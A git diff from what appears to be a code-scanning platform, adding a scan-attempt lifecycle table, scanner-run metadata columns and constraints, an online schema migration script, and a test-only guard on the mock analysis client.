diff --git a/.env.example b/.env.example index 6f65f0d..1fbe600 100644 --- a/.env.example +++ b/.env.example @@ -16,7 +16,9 @@ THROTTLE_LIMIT=120 TOKEN_ENCRYPTION_KEY=REPLACE_WITH_YOUR_OWN_64_HEX_CHARACTER_KEY WORKLOAD_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_WORKLOAD_ATTESTATION_KEY PREFLIGHT_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_PREFLIGHT_ATTESTATION_KEY +SANDBOX_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_SANDBOX_ATTESTATION_KEY CREDENTIAL_LEASE_EXPIRY_INTERVAL_MS=60000 +SAST_ATTEMPT_RECONCILIATION_INTERVAL_MS=10000 GITHUB_CLIENT_ID=github-client-id GITHUB_CLIENT_SECRET=github-client-secret GITHUB_APP_ID= @@ -24,7 +26,7 @@ GITHUB_APP_PRIVATE_KEY= GITLAB_CLIENT_ID=gitlab-client-id GITLAB_CLIENT_SECRET=gitlab-client-secret GITLAB_API_BASE_URL=https://gitlab.com/api/v4 -ANALYSIS_CLIENT_MODE=mock +ANALYSIS_CLIENT_MODE=internal AI_PORT=8000 AI_SERVER_URL=http://localhost:8000 USE_INTERNAL_AI=false diff --git a/apps/api/.env.example b/apps/api/.env.example index 6f65f0d..1fbe600 100644 --- a/apps/api/.env.example +++ b/apps/api/.env.example @@ -16,7 +16,9 @@ THROTTLE_LIMIT=120 TOKEN_ENCRYPTION_KEY=REPLACE_WITH_YOUR_OWN_64_HEX_CHARACTER_KEY WORKLOAD_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_WORKLOAD_ATTESTATION_KEY PREFLIGHT_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_PREFLIGHT_ATTESTATION_KEY +SANDBOX_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_SANDBOX_ATTESTATION_KEY CREDENTIAL_LEASE_EXPIRY_INTERVAL_MS=60000 +SAST_ATTEMPT_RECONCILIATION_INTERVAL_MS=10000 GITHUB_CLIENT_ID=github-client-id GITHUB_CLIENT_SECRET=github-client-secret GITHUB_APP_ID= @@ -24,7 +26,7 @@ GITHUB_APP_PRIVATE_KEY= GITLAB_CLIENT_ID=gitlab-client-id GITLAB_CLIENT_SECRET=gitlab-client-secret GITLAB_API_BASE_URL=https://gitlab.com/api/v4 -ANALYSIS_CLIENT_MODE=mock +ANALYSIS_CLIENT_MODE=internal AI_PORT=8000 AI_SERVER_URL=http://localhost:8000 USE_INTERNAL_AI=false diff --git a/apps/api/package.json b/apps/api/package.json index 172c253..e296cc2 100644 --- a/apps/api/package.json +++ b/apps/api/package.json @@ -13,8 +13,9 @@ "prisma:format": "prisma format --schema prisma/schema.prisma", "prisma:generate": "prisma generate --schema prisma/schema.prisma", "prisma:validate": "prisma validate --schema prisma/schema.prisma", - "prisma:migrate:dev": "prisma migrate dev --schema prisma/schema.prisma", - "prisma:migrate:deploy": "prisma migrate deploy --schema prisma/schema.prisma" + "prisma:migrate:dev": "prisma migrate dev --schema prisma/schema.prisma && corepack pnpm prisma:online-schema", + "prisma:migrate:deploy": "prisma migrate deploy --schema prisma/schema.prisma && corepack pnpm prisma:online-schema", + "prisma:online-schema": "node scripts/apply-online-sast-runtime-schema.mjs" }, "dependencies": { "@aegisai/shared": "workspace:*", diff --git a/apps/api/prisma/migrations/20260724150000_sast_scanner_runtime_lifecycle/migration.sql b/apps/api/prisma/migrations/20260724150000_sast_scanner_runtime_lifecycle/migration.sql new file mode 100644 index 0000000..80448ff --- /dev/null +++ b/apps/api/prisma/migrations/20260724150000_sast_scanner_runtime_lifecycle/migration.sql @@ -0,0 +1,198 @@ +CREATE TYPE "SastScanAttemptStage" AS ENUM ( + 'VALIDATING', + 'SCANNING', + 'CLEANUP_PENDING', + 'COMPLETED', + 'FAILED', + 'CLEANUP_FAILED' +); + +ALTER TYPE "ScannerRunStatus" ADD VALUE 'QUARANTINED'; +ALTER TYPE "ScannerRunStatus" ADD VALUE 'KILLED'; + +CREATE TYPE "SastScanFailureClass" AS ENUM ( + 'RETRYABLE_INFRASTRUCTURE', + 'NON_RETRYABLE_INPUT', + 'SCANNER_DEFECT', + 'SECURITY_VIOLATION', + 'CAPACITY_REJECTED' +); + +CREATE TABLE "SastScanAttempt" ( + "id" TEXT NOT NULL, + "tenantId" TEXT NOT NULL, + "repositoryBindingId" TEXT NOT NULL, + "scanRequestId" TEXT NOT NULL, + "attemptNumber" INTEGER NOT NULL, + "sandboxId" TEXT NOT NULL, + "workloadIdentityRef" TEXT NOT NULL, + "stage" "SastScanAttemptStage" NOT NULL DEFAULT 'VALIDATING', + "failureClass" "SastScanFailureClass", + "failureReason" TEXT, + "retryEligible" BOOLEAN NOT NULL DEFAULT false, + "cleanupEvidence" JSONB, + "cleanupEvidenceDigest" TEXT, + "finalAuditEventId" TEXT, + "startedAt" TIMESTAMP(3) NOT NULL, + "attemptDeadlineAt" TIMESTAMP(3) NOT NULL, + "completedAt" TIMESTAMP(3), + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updatedAt" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "SastScanAttempt_pkey" PRIMARY KEY ("id"), + CONSTRAINT "SastScanAttempt_attempt_number_check" + CHECK ("attemptNumber" BETWEEN 1 AND 2), + CONSTRAINT "SastScanAttempt_deadline_check" + CHECK ( + "attemptDeadlineAt" > "startedAt" + AND "attemptDeadlineAt" <= "startedAt" + INTERVAL '1 hour 5 seconds' + ), + CONSTRAINT "SastScanAttempt_cleanup_digest_check" + CHECK ( + "cleanupEvidenceDigest" IS NULL + OR "cleanupEvidenceDigest" ~ '^sha256:[a-f0-9]{64}$' + ), + CONSTRAINT "SastScanAttempt_retry_eligibility_check" + CHECK ( + "retryEligible" = false + OR COALESCE( + ( + "stage" = 'FAILED' + AND "failureClass" = 'RETRYABLE_INFRASTRUCTURE' + AND "attemptNumber" = 1 + ), + false + ) + ), + CONSTRAINT "SastScanAttempt_completed_cleanup_check" + CHECK ( + "stage" NOT IN ('COMPLETED', 'FAILED') + OR COALESCE( + ( + "cleanupEvidence" IS NOT NULL + AND "cleanupEvidenceDigest" IS NOT NULL + AND "cleanupEvidence" #>> '{observation,credentialRevokedAndWiped}' = 'true' + AND "cleanupEvidence" #>> '{observation,scannerProcessesTerminated}' = 'true' + AND "cleanupEvidence" #>> '{observation,writableVolumesDestroyed}' = 'true' + AND "cleanupEvidence" #>> '{observation,microVmTerminated}' = 'true' + AND "cleanupEvidence" #>> '{observation,resultIngressClosed}' = 'true' + AND "cleanupEvidence" #>> '{signature}' ~ '^sha256:[a-f0-9]{64}$' + ), + false + ) + ), + CONSTRAINT "SastScanAttempt_lifecycle_state_check" + CHECK ( + COALESCE( + ( + "stage" IN ('VALIDATING', 'SCANNING', 'CLEANUP_PENDING') + AND "completedAt" IS NULL + AND "finalAuditEventId" IS NULL + AND "failureClass" IS NULL + AND "failureReason" IS NULL + AND "retryEligible" = false + ) + OR ( + "stage" = 'COMPLETED' + AND "completedAt" IS NOT NULL + AND "completedAt" >= "startedAt" + AND "finalAuditEventId" IS NOT NULL + AND "failureClass" IS NULL + AND "failureReason" IS NULL + AND "retryEligible" = false + ) + OR ( + "stage" = 'FAILED' + AND "completedAt" IS NOT NULL + AND "completedAt" >= "startedAt" + AND "finalAuditEventId" IS NOT NULL + AND "failureClass" IS NOT NULL + AND char_length("failureReason") BETWEEN 1 AND 255 + ) + OR ( + "stage" = 'CLEANUP_FAILED' + AND "completedAt" IS NOT NULL + AND "completedAt" >= "startedAt" + AND "finalAuditEventId" IS NOT NULL + AND "failureClass" IS NOT NULL + AND char_length("failureReason") BETWEEN 1 AND 255 + AND "retryEligible" = false + ), + false + ) + ) +); + +CREATE UNIQUE INDEX "SastScanAttempt_scanRequestId_attemptNumber_key" + ON "SastScanAttempt"("scanRequestId", "attemptNumber"); +CREATE UNIQUE INDEX "SastScanAttempt_one_active_per_scan_key" + ON "SastScanAttempt"("scanRequestId") + WHERE "stage" IN ('VALIDATING', 'SCANNING', 'CLEANUP_PENDING'); +CREATE UNIQUE INDEX "SastScanAttempt_sandboxId_key" + ON "SastScanAttempt"("sandboxId"); +CREATE UNIQUE INDEX "SastScanAttempt_workloadIdentityRef_key" + ON "SastScanAttempt"("workloadIdentityRef"); +CREATE UNIQUE INDEX "SastScanAttempt_id_tenantId_key" + ON "SastScanAttempt"("id", "tenantId"); +CREATE UNIQUE INDEX "SastScanAttempt_scope_key" + ON "SastScanAttempt"("id", "tenantId", "repositoryBindingId", "scanRequestId"); +CREATE UNIQUE INDEX "SastScanAttempt_finalAuditEventId_key" + ON "SastScanAttempt"("finalAuditEventId"); +CREATE UNIQUE INDEX "SastScanAttempt_final_audit_scope_key" + ON "SastScanAttempt"("finalAuditEventId", "id", "tenantId"); +CREATE INDEX "SastScanAttempt_tenantId_stage_idx" + ON "SastScanAttempt"("tenantId", "stage"); +CREATE INDEX "SastScanAttempt_stage_attemptDeadlineAt_idx" + ON "SastScanAttempt"("stage", "attemptDeadlineAt"); +CREATE INDEX "SastScanAttempt_repositoryBindingId_idx" + ON "SastScanAttempt"("repositoryBindingId"); +CREATE INDEX "SastScanAttempt_completedAt_idx" + ON "SastScanAttempt"("completedAt"); + +ALTER TABLE "SastScanAttempt" + ADD CONSTRAINT "SastScanAttempt_tenantId_fkey" + FOREIGN KEY ("tenantId") REFERENCES "Tenant"("id") + ON DELETE CASCADE ON UPDATE CASCADE; +ALTER TABLE "SastScanAttempt" + ADD CONSTRAINT "SastScanAttempt_repository_scope_fkey" + FOREIGN KEY ("repositoryBindingId", "tenantId") + REFERENCES "RepositoryBinding"("id", "tenantId") + ON DELETE CASCADE ON UPDATE CASCADE; +ALTER TABLE "SastScanAttempt" + ADD CONSTRAINT "SastScanAttempt_scan_scope_fkey" + FOREIGN KEY ("scanRequestId", "tenantId", "repositoryBindingId") + REFERENCES "ScanRequest"("id", "tenantId", "repositoryBindingId") + ON DELETE CASCADE ON UPDATE CASCADE; + +ALTER TABLE "ScannerRun" + ADD COLUMN "attemptId" TEXT, + ADD COLUMN "repositoryBindingId" TEXT, + ADD COLUMN "required" BOOLEAN, + ADD COLUMN "wrapperDigest" TEXT, + ADD COLUMN "scannerImageDigest" TEXT, + ADD COLUMN "ruleBundleDigest" TEXT, + ADD COLUMN "databaseDigest" TEXT, + ADD COLUMN "scannerSetDigest" TEXT, + ADD COLUMN "profileId" TEXT, + ADD COLUMN "profileDigest" TEXT, + ADD COLUMN "preflightAttestationRef" TEXT, + ADD COLUMN "preflightInventoryDigest" TEXT, + ADD COLUMN "scannerWorkspaceInventoryDigest" TEXT, + ADD COLUMN "artifactSchema" TEXT, + ADD COLUMN "artifactSchemaVersion" TEXT, + ADD COLUMN "exitCode" INTEGER, + ADD COLUMN "terminationSignal" TEXT, + ADD COLUMN "timedOut" BOOLEAN, + ADD COLUMN "outputLimitExceeded" BOOLEAN, + ADD COLUMN "durationMilliseconds" INTEGER, + ADD COLUMN "stdoutMetadata" JSONB, + ADD COLUMN "stderrMetadata" JSONB, + ADD COLUMN "resourceMetadata" JSONB, + ADD COLUMN "artifactMetadata" JSONB; + +ALTER TABLE "AuditEvent" ADD COLUMN "attemptId" TEXT; + +-- Indexes and constraints that inspect existing ScannerRun/AuditEvent rows are +-- applied immediately after Prisma Migrate by scripts/apply-online-sast-runtime-schema.mjs. +-- Keeping them outside this transactional migration permits CREATE INDEX CONCURRENTLY +-- and releases the brief ADD CONSTRAINT lock before online validation scans existing rows. diff --git a/apps/api/prisma/schema.prisma b/apps/api/prisma/schema.prisma index b56bf05..f848d10 100644 --- a/apps/api/prisma/schema.prisma +++ b/apps/api/prisma/schema.prisma @@ -89,6 +89,23 @@ enum SastCredentialLeaseStatus { REVOKED } +enum SastScanAttemptStage { + VALIDATING + SCANNING + CLEANUP_PENDING + COMPLETED + FAILED + CLEANUP_FAILED +} + +enum SastScanFailureClass { + RETRYABLE_INFRASTRUCTURE + NON_RETRYABLE_INPUT + SCANNER_DEFECT + SECURITY_VIOLATION + CAPACITY_REJECTED +} + enum IsolationClass { STANDARD HARDENED @@ -108,6 +125,8 @@ enum ScannerRunStatus { COMPLETED FAILED TIMED_OUT + QUARANTINED + KILLED SKIPPED } @@ -288,6 +307,7 @@ model Tenant { suppressions Suppression[] auditEvents AuditEvent[] sastCredentialLeases SastRepositoryCredentialLease[] + sastScanAttempts SastScanAttempt[] users User[] } @@ -328,6 +348,7 @@ model RepositoryBinding { integration ScmIntegration @relation(fields: [scmIntegrationId], references: [id], onDelete: Cascade) scanRequests ScanRequest[] sastCredentialLeases SastRepositoryCredentialLease[] + sastScanAttempts SastScanAttempt[] @@unique([id, tenantId]) @@unique([tenantId, scmIntegrationId, providerRepoId]) @@ -365,6 +386,7 @@ model ScanRequest { auditEvents AuditEvent[] sastQueueReservation SastQueueReservation? sastCredentialLeases SastRepositoryCredentialLease[] + sastScanAttempts SastScanAttempt[] @@unique([id, tenantId, repositoryBindingId]) @@index([tenantId]) @@ -415,6 +437,45 @@ model SastRepositoryCredentialLease { @@index([expiresAt, status]) } +model SastScanAttempt { + /// The migration also enforces one non-terminal attempt per scan request with a partial unique index. + id String @id + tenantId String + repositoryBindingId String + scanRequestId String + attemptNumber Int + sandboxId String @unique + workloadIdentityRef String @unique + stage SastScanAttemptStage @default(VALIDATING) + failureClass SastScanFailureClass? + failureReason String? + retryEligible Boolean @default(false) + cleanupEvidence Json? + cleanupEvidenceDigest String? + finalAuditEventId String? @unique + startedAt DateTime + attemptDeadlineAt DateTime + completedAt DateTime? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + tenant Tenant @relation(fields: [tenantId], references: [id], onDelete: Cascade) + repositoryBinding RepositoryBinding @relation(fields: [repositoryBindingId, tenantId], references: [id, tenantId], onDelete: Cascade, map: "SastScanAttempt_repository_scope_fkey") + scanRequest ScanRequest @relation(fields: [scanRequestId, tenantId, repositoryBindingId], references: [id, tenantId, repositoryBindingId], onDelete: Cascade, map: "SastScanAttempt_scan_scope_fkey") + scannerRuns ScannerRun[] + auditEvents AuditEvent[] @relation("SastScanAttemptAuditEvents") + finalAuditEvent AuditEvent? @relation("SastScanAttemptFinalAuditEvent", fields: [finalAuditEventId, id, tenantId], references: [id, attemptId, tenantId], onDelete: NoAction, onUpdate: NoAction, map: "SastScanAttempt_finalAuditEventId_fkey") + + @@unique([scanRequestId, attemptNumber]) + @@unique([id, tenantId], map: "SastScanAttempt_id_tenantId_key") + @@unique([id, tenantId, repositoryBindingId, scanRequestId], map: "SastScanAttempt_scope_key") + @@unique([finalAuditEventId, id, tenantId], map: "SastScanAttempt_final_audit_scope_key") + @@index([tenantId, stage]) + @@index([stage, attemptDeadlineAt]) + @@index([repositoryBindingId]) + @@index([completedAt]) +} + model SastQueueTenantUsage { ledgerId String tenantId String @@ -493,24 +554,51 @@ model SastQueueReservation { } model ScannerRun { - id String @id @default(uuid()) - tenantId String - scanRequestId String - scanner ScannerKind - scannerVersion String - status ScannerRunStatus @default(QUEUED) - rawArtifactObjectKey String? - coverageState Json? - errorMessage String? - createdAt DateTime @default(now()) - startedAt DateTime? - completedAt DateTime? - updatedAt DateTime @updatedAt + id String @id @default(uuid()) + tenantId String + scanRequestId String + repositoryBindingId String? + scanner ScannerKind + scannerVersion String + attemptId String? + required Boolean? + wrapperDigest String? + scannerImageDigest String? + ruleBundleDigest String? + databaseDigest String? + scannerSetDigest String? + profileId String? + profileDigest String? + preflightAttestationRef String? + preflightInventoryDigest String? + scannerWorkspaceInventoryDigest String? + artifactSchema String? + artifactSchemaVersion String? + exitCode Int? + terminationSignal String? + timedOut Boolean? + outputLimitExceeded Boolean? + durationMilliseconds Int? + stdoutMetadata Json? + stderrMetadata Json? + resourceMetadata Json? + artifactMetadata Json? + status ScannerRunStatus @default(QUEUED) + rawArtifactObjectKey String? + coverageState Json? + errorMessage String? + createdAt DateTime @default(now()) + startedAt DateTime? + completedAt DateTime? + updatedAt DateTime @updatedAt tenant Tenant @relation(fields: [tenantId], references: [id], onDelete: Cascade) scanRequest ScanRequest @relation(fields: [scanRequestId], references: [id], onDelete: Cascade) + attempt SastScanAttempt? @relation(fields: [attemptId, tenantId, repositoryBindingId, scanRequestId], references: [id, tenantId, repositoryBindingId, scanRequestId], onDelete: Cascade, map: "ScannerRun_attempt_scope_fkey") findings NormalizedFinding[] + @@unique([attemptId, scanner]) + @@index([attemptId]) @@index([tenantId]) @@index([scanRequestId]) @@index([scanner]) @@ -659,6 +747,7 @@ model AuditEvent { id String @id @default(uuid()) tenantId String scanRequestId String? + attemptId String? eventType String actor String targetType String @@ -666,11 +755,15 @@ model AuditEvent { metadata Json? occurredAt DateTime @default(now()) - tenant Tenant @relation(fields: [tenantId], references: [id], onDelete: Cascade) - scanRequest ScanRequest? @relation(fields: [scanRequestId], references: [id], onDelete: SetNull) + tenant Tenant @relation(fields: [tenantId], references: [id], onDelete: Cascade) + scanRequest ScanRequest? @relation(fields: [scanRequestId], references: [id], onDelete: SetNull) + attempt SastScanAttempt? @relation("SastScanAttemptAuditEvents", fields: [attemptId, tenantId], references: [id, tenantId], onDelete: Cascade, map: "AuditEvent_attempt_scope_fkey") + finalForAttempt SastScanAttempt? @relation("SastScanAttemptFinalAuditEvent") + @@unique([id, attemptId, tenantId], map: "AuditEvent_final_attempt_scope_key") @@index([tenantId]) @@index([scanRequestId]) + @@index([attemptId]) @@index([eventType]) @@index([occurredAt]) } diff --git a/apps/api/scripts/apply-online-sast-runtime-schema.mjs b/apps/api/scripts/apply-online-sast-runtime-schema.mjs new file mode 100644 index 0000000..eac015a --- /dev/null +++ b/apps/api/scripts/apply-online-sast-runtime-schema.mjs @@ -0,0 +1,239 @@ +import { PrismaClient } from '@prisma/client'; + +const prisma = new PrismaClient(); + +const indexes = [ + { + name: 'ScannerRun_attemptId_scanner_key', + unique: true, + create: + 'CREATE UNIQUE INDEX CONCURRENTLY IF NOT EXISTS "ScannerRun_attemptId_scanner_key" ON "ScannerRun"("attemptId", "scanner")' + }, + { + name: 'ScannerRun_attemptId_idx', + unique: false, + create: + 'CREATE INDEX CONCURRENTLY IF NOT EXISTS "ScannerRun_attemptId_idx" ON "ScannerRun"("attemptId")' + }, + { + name: 'AuditEvent_attemptId_idx', + unique: false, + create: + 'CREATE INDEX CONCURRENTLY IF NOT EXISTS "AuditEvent_attemptId_idx" ON "AuditEvent"("attemptId")' + }, + { + name: 'AuditEvent_final_attempt_scope_key', + unique: true, + create: + 'CREATE UNIQUE INDEX CONCURRENTLY IF NOT EXISTS "AuditEvent_final_attempt_scope_key" ON "AuditEvent"("id", "attemptId", "tenantId")' + } +]; + +const constraints = [ + { + table: 'ScannerRun', + name: 'ScannerRun_attempt_scope_fkey', + type: 'f', + definition: + 'FOREIGN KEY ("attemptId", "tenantId", "repositoryBindingId", "scanRequestId") REFERENCES "SastScanAttempt"("id", "tenantId", "repositoryBindingId", "scanRequestId") ON DELETE CASCADE ON UPDATE CASCADE' + }, + { + table: 'ScannerRun', + name: 'ScannerRun_exit_code_check', + type: 'c', + definition: + 'CHECK ("exitCode" IS NULL OR "exitCode" BETWEEN -1 AND 255)' + }, + { + table: 'ScannerRun', + name: 'ScannerRun_duration_check', + type: 'c', + definition: + 'CHECK ("durationMilliseconds" IS NULL OR "durationMilliseconds" >= 0)' + }, + { + table: 'ScannerRun', + name: 'ScannerRun_runtime_metadata_check', + type: 'c', + definition: `CHECK ( + "attemptId" IS NULL + OR COALESCE( + ( + "repositoryBindingId" IS NOT NULL + AND "required" = true + AND "scanner" IN ('OPENGREP', 'TRIVY', 'SYFT') + AND "status"::text IN ('COMPLETED', 'FAILED', 'TIMED_OUT', 'QUARANTINED', 'KILLED') + AND "wrapperDigest" ~ '^sha256:[a-f0-9]{64}$' + AND "scannerImageDigest" ~ '^sha256:[a-f0-9]{64}$' + AND "scannerSetDigest" ~ '^sha256:[a-f0-9]{64}$' + AND char_length("profileId") BETWEEN 1 AND 255 + AND "profileDigest" ~ '^sha256:[a-f0-9]{64}$' + AND char_length("preflightAttestationRef") BETWEEN 1 AND 8192 + AND "preflightInventoryDigest" ~ '^sha256:[a-f0-9]{64}$' + AND "scannerWorkspaceInventoryDigest" ~ '^sha256:[a-f0-9]{64}$' + AND ( + ( + "scanner" = 'OPENGREP' + AND "ruleBundleDigest" ~ '^sha256:[a-f0-9]{64}$' + AND "databaseDigest" IS NULL + AND "artifactSchema" = 'OPENGREP_SARIF' + ) + OR ( + "scanner" = 'TRIVY' + AND "ruleBundleDigest" ~ '^sha256:[a-f0-9]{64}$' + AND "databaseDigest" ~ '^sha256:[a-f0-9]{64}$' + AND "artifactSchema" = 'TRIVY_JSON' + ) + OR ( + "scanner" = 'SYFT' + AND "ruleBundleDigest" IS NULL + AND "databaseDigest" IS NULL + AND "artifactSchema" = 'CYCLONEDX_JSON' + ) + ) + AND "artifactSchemaVersion" ~ '^sha256:[a-f0-9]{64}$' + AND "exitCode" IS NOT NULL + AND "timedOut" IS NOT NULL + AND "outputLimitExceeded" IS NOT NULL + AND "durationMilliseconds" IS NOT NULL + AND jsonb_typeof("stdoutMetadata") = 'object' + AND jsonb_typeof("stderrMetadata") = 'object' + AND jsonb_typeof("resourceMetadata") = 'object' + AND ( + "status" <> 'COMPLETED' + OR ( + jsonb_typeof("artifactMetadata") = 'object' + AND jsonb_typeof("artifactMetadata" -> 'byteSize') = 'number' + AND ("artifactMetadata" ->> 'byteSize')::numeric > 0 + AND char_length("rawArtifactObjectKey") BETWEEN 1 AND 2048 + ) + ) + ), + false + ) + )` + }, + { + table: 'AuditEvent', + name: 'AuditEvent_attempt_scope_fkey', + type: 'f', + definition: + 'FOREIGN KEY ("attemptId", "tenantId") REFERENCES "SastScanAttempt"("id", "tenantId") ON DELETE CASCADE ON UPDATE CASCADE' + }, + { + table: 'SastScanAttempt', + name: 'SastScanAttempt_finalAuditEventId_fkey', + type: 'f', + definition: + 'FOREIGN KEY ("finalAuditEventId", "id", "tenantId") REFERENCES "AuditEvent"("id", "attemptId", "tenantId") ON DELETE NO ACTION ON UPDATE NO ACTION' + } +]; + +async function applyIndex(index) { + assertIdentifier(index.name); + const existing = await readIndex(index.name); + if (existing && (!existing.valid || !existing.ready)) { + await prisma.$executeRawUnsafe( + `DROP INDEX CONCURRENTLY IF EXISTS "${index.name}"` + ); + } else if (existing && existing.unique !== index.unique) { + throw new Error(`Online index ${index.name} has an unexpected definition.`); + } + + await prisma.$executeRawUnsafe(index.create); + const applied = await readIndex(index.name); + if ( + !applied || + !applied.valid || + !applied.ready || + applied.unique !== index.unique + ) { + throw new Error(`Online index ${index.name} is not valid after creation.`); + } + process.stdout.write(`online index ready: ${index.name}\n`); +} + +async function applyConstraint(constraint) { + assertIdentifier(constraint.table); + assertIdentifier(constraint.name); + const existing = await readConstraint(constraint.table, constraint.name); + if (existing && existing.type !== constraint.type) { + throw new Error( + `Online constraint ${constraint.name} has an unexpected type.` + ); + } + if (!existing) { + await prisma.$executeRawUnsafe( + `ALTER TABLE "${constraint.table}" ADD CONSTRAINT "${constraint.name}" ${constraint.definition} NOT VALID` + ); + } + + await prisma.$executeRawUnsafe( + `ALTER TABLE "${constraint.table}" VALIDATE CONSTRAINT "${constraint.name}"` + ); + const applied = await readConstraint(constraint.table, constraint.name); + if (!applied?.validated || applied.type !== constraint.type) { + throw new Error( + `Online constraint ${constraint.name} is not valid after validation.` + ); + } + process.stdout.write(`online constraint ready: ${constraint.name}\n`); +} + +async function readIndex(name) { + const rows = await prisma.$queryRawUnsafe( + `SELECT + index_state.indisvalid AS "valid", + index_state.indisready AS "ready", + index_state.indisunique AS "unique" + FROM pg_catalog.pg_class AS index_class + JOIN pg_catalog.pg_namespace AS namespace + ON namespace.oid = index_class.relnamespace + JOIN pg_catalog.pg_index AS index_state + ON index_state.indexrelid = index_class.oid + WHERE namespace.nspname = current_schema() + AND index_class.relname = $1`, + name + ); + return rows[0]; +} + +async function readConstraint(table, name) { + const rows = await prisma.$queryRawUnsafe( + `SELECT + constraint_state.convalidated AS "validated", + constraint_state.contype::text AS "type" + FROM pg_catalog.pg_constraint AS constraint_state + JOIN pg_catalog.pg_class AS table_class + ON table_class.oid = constraint_state.conrelid + JOIN pg_catalog.pg_namespace AS namespace + ON namespace.oid = table_class.relnamespace + WHERE namespace.nspname = current_schema() + AND table_class.relname = $1 + AND constraint_state.conname = $2`, + table, + name + ); + return rows[0]; +} + +function assertIdentifier(value) { + if (!/^[A-Za-z][A-Za-z0-9_]{0,127}$/.test(value)) { + throw new Error('Online schema identifier is invalid.'); + } +} + +async function main() { + for (const index of indexes) { + await applyIndex(index); + } + for (const constraint of constraints) { + await applyConstraint(constraint); + } +} + +try { + await main(); +} finally { + await prisma.$disconnect(); +} diff --git a/apps/api/src/bootstrap/configure-app.ts b/apps/api/src/bootstrap/configure-app.ts index 83e43d0..40897ae 100644 --- a/apps/api/src/bootstrap/configure-app.ts +++ b/apps/api/src/bootstrap/configure-app.ts @@ -24,6 +24,7 @@ const SENSITIVE_RESPONSE_PATHS = [ '/api/integrations', '/api/repository-bindings', '/api/scan-requests', + '/api/scan-plane', '/api/sast-planning', '/api/token-broker', '/api/audit-events', diff --git a/apps/api/src/client/analysis/analysis-api.module.ts b/apps/api/src/client/analysis/analysis-api.module.ts index 9b7a9b4..b94b6a3 100644 --- a/apps/api/src/client/analysis/analysis-api.module.ts +++ b/apps/api/src/client/analysis/analysis-api.module.ts @@ -1,16 +1,25 @@ -import { Module } from '@nestjs/common'; +import { Module, type Provider } from '@nestjs/common'; -import { ANALYSIS_API_CLIENT } from './analysis-api-client.interface'; +import { isMockAnalysisFixtureEnabled } from './analysis-fixture.policy'; +import { + ANALYSIS_API_CLIENT, + type IAnalysisApiClient +} from './analysis-api-client.interface'; +import { DisabledAnalysisApiClient } from './disabled-analysis-api.client'; import { MockAnalysisApiClient } from './mock-analysis-api.client'; +export { isMockAnalysisFixtureEnabled } from './analysis-fixture.policy'; + +const analysisApiClientProvider: Provider = { + provide: ANALYSIS_API_CLIENT, + useFactory: (): IAnalysisApiClient => + isMockAnalysisFixtureEnabled() + ? new MockAnalysisApiClient() + : new DisabledAnalysisApiClient() +}; + @Module({ - providers: [ - MockAnalysisApiClient, - { - provide: ANALYSIS_API_CLIENT, - useExisting: MockAnalysisApiClient - } - ], + providers: [analysisApiClientProvider], exports: [ANALYSIS_API_CLIENT] }) export class AnalysisApiModule {} diff --git a/apps/api/src/client/analysis/analysis-fixture.policy.ts b/apps/api/src/client/analysis/analysis-fixture.policy.ts new file mode 100644 index 0000000..80ab5cb --- /dev/null +++ b/apps/api/src/client/analysis/analysis-fixture.policy.ts @@ -0,0 +1,8 @@ +export function isMockAnalysisFixtureEnabled( + environment: Readonly> = process.env +): boolean { + return ( + environment.NODE_ENV === 'test' && + (environment.ANALYSIS_CLIENT_MODE ?? 'mock') === 'mock' + ); +} diff --git a/apps/api/src/client/analysis/disabled-analysis-api.client.ts b/apps/api/src/client/analysis/disabled-analysis-api.client.ts new file mode 100644 index 0000000..bab8ff9 --- /dev/null +++ b/apps/api/src/client/analysis/disabled-analysis-api.client.ts @@ -0,0 +1,14 @@ +import { Injectable, ServiceUnavailableException } from '@nestjs/common'; + +import type { AnalysisResult, IAnalysisApiClient } from './analysis-api-client.interface'; + +@Injectable() +export class DisabledAnalysisApiClient implements IAnalysisApiClient { + analyze(): Promise { + throw new ServiceUnavailableException({ + message: + 'Legacy analysis execution is disabled; use the attested Scan Plane runtime.', + errorCode: 'LEGACY_ANALYSIS_DISABLED' + }); + } +} diff --git a/apps/api/src/client/analysis/mock-analysis-api.client.ts b/apps/api/src/client/analysis/mock-analysis-api.client.ts index 3ad7b6c..a9799c6 100644 --- a/apps/api/src/client/analysis/mock-analysis-api.client.ts +++ b/apps/api/src/client/analysis/mock-analysis-api.client.ts @@ -1,5 +1,6 @@ import { Injectable } from '@nestjs/common'; +import { isMockAnalysisFixtureEnabled } from './analysis-fixture.policy'; import type { AnalysisRequest, AnalysisResult, @@ -12,6 +13,9 @@ export class MockAnalysisApiClient implements IAnalysisApiClient { request: AnalysisRequest, options?: { signal?: AbortSignal } ): Promise { + if (!isMockAnalysisFixtureEnabled()) { + throw new Error('MockAnalysisApiClient is a test-only fixture.'); + } throwIfAborted(options?.signal); await Promise.resolve(); throwIfAborted(options?.signal); diff --git a/apps/api/src/config/config.schema.ts b/apps/api/src/config/config.schema.ts index 42311a6..3c164ab 100644 --- a/apps/api/src/config/config.schema.ts +++ b/apps/api/src/config/config.schema.ts @@ -68,12 +68,40 @@ export const ENVIRONMENT_VALIDATION_SCHEMA = Joi.object({ .invalid(Joi.ref('WORKLOAD_ATTESTATION_KEY')) .default('b'.repeat(64)) }), + SANDBOX_ATTESTATION_KEY: Joi.when('NODE_ENV', { + is: 'production', + then: Joi.string() + .hex() + .length(64) + .lowercase() + .invalid(Joi.ref('TOKEN_ENCRYPTION_KEY')) + .invalid(Joi.ref('WORKLOAD_ATTESTATION_KEY')) + .invalid(Joi.ref('PREFLIGHT_ATTESTATION_KEY')) + .required(), + otherwise: Joi.string() + .hex() + .length(64) + .lowercase() + .invalid(Joi.ref('TOKEN_ENCRYPTION_KEY')) + .invalid(Joi.ref('WORKLOAD_ATTESTATION_KEY')) + .invalid(Joi.ref('PREFLIGHT_ATTESTATION_KEY')) + .default('d'.repeat(64)) + }), CREDENTIAL_LEASE_EXPIRY_INTERVAL_MS: Joi.number() .integer() .min(1_000) .max(3_600_000) .default(60_000), - ANALYSIS_CLIENT_MODE: 